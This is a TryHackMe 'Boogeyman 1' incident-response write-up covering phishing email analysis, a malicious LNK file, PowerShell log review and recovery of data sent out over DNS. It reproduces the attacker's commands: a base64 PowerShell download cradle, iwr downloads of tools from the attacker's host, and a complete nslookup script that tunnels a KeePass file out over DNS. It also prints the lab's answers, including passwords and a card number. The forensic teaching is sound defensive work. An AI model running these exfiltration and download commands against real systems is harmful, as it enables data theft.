Boogeyman 1 - TryHackMe Writeup

Complete Incident Response Analysis

Incident Response Malware Analysis Network Forensics PowerShell Analysis DNS Exfiltration

Published: September 2025 • Estimated reading time: 15 minutes

Overview

Difficulty: Medium
Skills Practiced: Email Analysis, Malware Analysis, Network Forensics, PowerShell Log Analysis
Tools Used: Thunderbird, lnkparse, Wireshark, jq, tshark, xxd
Time Investment: 3-4 hours

Career Relevance: Essential SOC analyst skills for incident response and threat hunting. This room provides hands-on experience with a complete incident response scenario, teaching essential skills for SOC analysts including phishing analysis, malware investigation, and network forensics.

Learning Objectives

This room provides hands-on experience with a complete incident response scenario, teaching essential skills for SOC analysts including phishing analysis, malware investigation, and network forensics. The scenario mirrors real-world attacks targeting finance departments with sophisticated social engineering and malware deployment techniques.

Task 1: Room Introduction

Objective

Understand the scenario and deployment requirements

Approach

Analyzed the scenario involving Quick Logistics LLC's finance team being targeted by a phishing attack. The investigation focuses on employee Julianne Westcott who received a malicious email from what appeared to be a business partner.

Key Learning

Understanding the importance of context in incident response - knowing the target, attack vector, and available artifacts before beginning analysis is crucial for effective investigation.

Task 2: Email Analysis

Objective

Analyze the phishing email and extract malicious payload

Approach

Used Thunderbird to analyze the email headers and structure, identifying the attack vector and payload delivery mechanism.

Technical Steps

# Open email file in Thunderbird for analysis
thunderbird /home/ubuntu/Desktop/artefacts/dump.eml

# Extract attachment with provided password
unzip Invoice.zip  # password: Invoice2023!

# Analyze the LNK file payload
lnkparse Invoice_20230103.lnk
                

Key Findings

Sender: agriffin@bpakcaging.xyz (suspicious domain)
Victim: julianne.westcott@hotmail.com
Third-party relay: elasticemail.com (identified in DKIM signature)
Payload: Invoice_20230103.lnk (Windows shortcut file)
Encoded PowerShell command: Found in Command Line Arguments field

PowerShell Payload Analysis

The lnkparse tool revealed a base64-encoded PowerShell command:

aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==
                

Task 2 Answers

Email address used to send phishing email: agriffin@bpakcaging.xyz
Email address of victim: julianne.westcott@hotmail.com
Third-party mail relay service: elasticemail
File inside encrypted attachment: Invoice_20230103.lnk
Password of encrypted attachment: Invoice2023!
Encoded payload: aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==

Key Learning

LNK files are common initial access vectors that can execute hidden PowerShell commands, making them effective for bypassing basic email security filters.

Task 3: PowerShell Log Analysis

Objective

Analyze PowerShell execution logs to understand the attack progression

Approach

Used jq to parse JSON-formatted PowerShell logs and extract unique commands to understand the attacker's methodology.

Technical Steps

# Extract unique PowerShell commands from logs
cat powershell.json | jq -s 'map(.ScriptBlockText) | unique | .[]'
                

Attack Timeline Analysis

1. Initial Reconnaissance

whoami;pwd
cd C:\\;pwd
ls;pwd
cd Users;pwd
cd j.westcott;pwd
                        

The attacker confirmed access and explored the directory structure.

2. Tool Download and Execution

# Downloaded Seatbelt reconnaissance tool
iwr http://files.bpakcaging.xyz/sb.exe -outfile sb.exe;pwd

# Executed various Seatbelt commands for system enumeration
.\sb.exe all;pwd
.\sb.exe system;pwd
.\sb.exe -group=all;pwd
.\sb.exe -group=user;pwd
                        

3. Data Discovery

# Searched for sensitive files
ls C:\\Users\\j.westcott\\Documents\\protected_data.kdbx;pwd

# Located Sticky Notes database
ls AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState;pwd
                        

4. Database Analysis

# Downloaded SQLite tool
iwr http://files.bpakcaging.xyz/sq3.exe -outfile sq3.exe;pwd

# Queried Sticky Notes database
.\Music\\sq3.exe AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite "SELECT * from NOTE limit 100";pwd
                        

5. Data Exfiltration via DNS Tunneling

$file='C:\\Users\\j.westcott\\Documents\\protected_data.kdbx';
$destination = "167.71.211.113";
$bytes = [System.IO.File]::ReadAllBytes($file);
$hex = ($bytes|ForEach-Object ToString X2) -join '';
$split = $hex -split '(\\S{50})';
ForEach ($line in $split) { nslookup -q=A "$line.bpakcaging.xyz" $destination;}
echo "Done";
                        

Task 3 Answers

Domains used by attacker: cdn.bpakcaging.xyz,files.bpakcaging.xyz
Enumeration tool downloaded: seatbelt
File accessed by sq3.exe: C:\\Users\\j.westcott\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite
Software using the file: Microsoft Sticky Notes
Name of exfiltrated file: protected_data.kdbx
File type using .kdbx extension: keepass
Encoding used during exfiltration: hex
Tool used for exfiltration: nslookup

Key Learning

DNS tunneling is a sophisticated exfiltration technique that can bypass traditional firewalls by embedding data in DNS queries.

Task 4: Network Traffic Analysis

Objective

Analyze network traffic to understand attack communication and recover exfiltrated data

Approach

Used Wireshark and tshark to analyze packet capture, focusing on HTTP requests to attacker infrastructure and DNS exfiltration traffic.

Technical Steps

1. Analyzed File Downloads

# Filter HTTP requests to attacker's file server
http.request.method == "GET" and http.host == "files.bpakcaging.xyz"
                        

2. Examined Server Response Headers

From HTTP stream analysis, identified the server software:

Server: SimpleHTTP/0.6 Python/3.10.7

3. Reconstructed Exfiltrated Data

# Extract DNS queries containing exfiltrated data
tshark -r capture.pcapng -Y 'dns' -T fields -e dns.qry.name | grep ".bpakcaging.xyz"

# Filter out infrastructure queries and extract hex data
tshark -r capture.pcapng -Y 'dns' -T fields -e dns.qry.name | grep ".bpakcaging.xyz" | cut -f1 -d '.' | grep -v -e "files" -e "cdn" | uniq

# Reconstruct the KeePass database file
tshark -r capture.pcapng -Y 'dns' -T fields -e dns.qry.name | grep ".bpakcaging.xyz" | cut -f1 -d '.' | grep -v -e "files" -e "cdn" | uniq | tr -d '\\n' > extracted.txt
cat extracted.txt | xxd -r -p > reconstructed_kdbx.kdbx
                        

4. Analyzed Command Output in Traffic

Used Wireshark to follow TCP streams and found the Sticky Notes database query results. Converted the hex dump to ASCII to reveal:

\id=868150bd-a564-423b-9256-70d3781794b1 Master Password
\id=ad8b52f0-e1bb-40f6-bbf9-47a53f9180ab %p9^3!lL^Mz47E2GaT^y
                        

5. Accessed Reconstructed Database

Used the extracted password %p9^3!lL^Mz47E2GaT^y to open the reconstructed KeePass database and found the stored credit card number.

Task 4 Answers

Software used by attacker for file/payload server: python
HTTP method used by C2 for command output: POST
Protocol used during exfiltration: dns
Password of exfiltrated file: %p9^3!lL^Mz47E2GaT^y
Credit card number in exfiltrated file: 4024007128269551

Key Learning

Network traffic analysis can reveal the complete attack chain and even allow recovery of exfiltrated data when proper forensic techniques are applied.

Overall Methodology

This investigation followed a systematic approach typical of professional incident response:

Email Analysis: Identified initial attack vector and payload
Malware Analysis: Understood payload capabilities and execution method
Log Analysis: Traced attacker activities and data access
Network Forensics: Reconstructed communication and recovered stolen data

Key Tools & Career Application

Tools Demonstrated

Investigation: Thunderbird, lnkparse, jq, Wireshark/tshark, xxd
Techniques: Email forensics, malware analysis, network traffic reconstruction, DNS exfiltration recovery

SOC Analyst Relevance

This scenario mirrors daily SOC operations including phishing investigation, malware analysis, PowerShell log investigation, network forensics, and incident documentation - core skills for threat detection and response roles.

Phishing Investigation: Email analysis for identifying malicious campaigns
Malware Analysis: Understanding attack vectors and payload capabilities
Log Analysis: PowerShell investigation for endpoint security

Network Forensics: Traffic analysis for attack progression
Data Recovery: Forensic techniques for compromised information
Incident Documentation: Professional reporting for technical audiences